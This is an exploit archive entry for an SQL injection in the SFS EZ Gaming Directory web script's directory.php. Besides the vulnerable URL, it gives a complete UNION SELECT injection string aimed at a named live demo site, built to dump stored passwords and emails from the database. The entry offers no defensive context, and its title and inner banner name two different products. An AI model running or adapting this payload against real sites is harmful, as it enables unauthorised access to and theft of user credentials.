SFS EZ Gaming Directory (directory.php id) SQL Injection Vulnerability

2008-10-31T00:00:00
ID 1337DAY-ID-3977
Type zdt
Reporter Hurley
Modified 2008-10-31T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ======================================================================
SFS EZ Gaming Directory (directory.php id) SQL Injection Vulnerability
======================================================================


==================================================================================
   SFS EZ Adult Directory (directory.php id) Remote SQL Injection Vulnerability
==================================================================================
			   __  __           __          
			   / / / /_  _______/ /__  __  __
			  / /_/ / / / / ___/ / _ \/ / / /
			 / __  / /_/ / /  / /  __/ /_/ / 
			/_/ /_/\__,_/_/  /_/\___/\__, /  
			                        /____/   
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit:      http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit]
----------------------------------------------------------------------------------
LiveDemo:
http://turnkeyzone.com/demos/adultdir/directory.php?ax=list&sub=6&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/*
----------------------------------------------------------------------------------



#  0day.today [2018-04-05]  #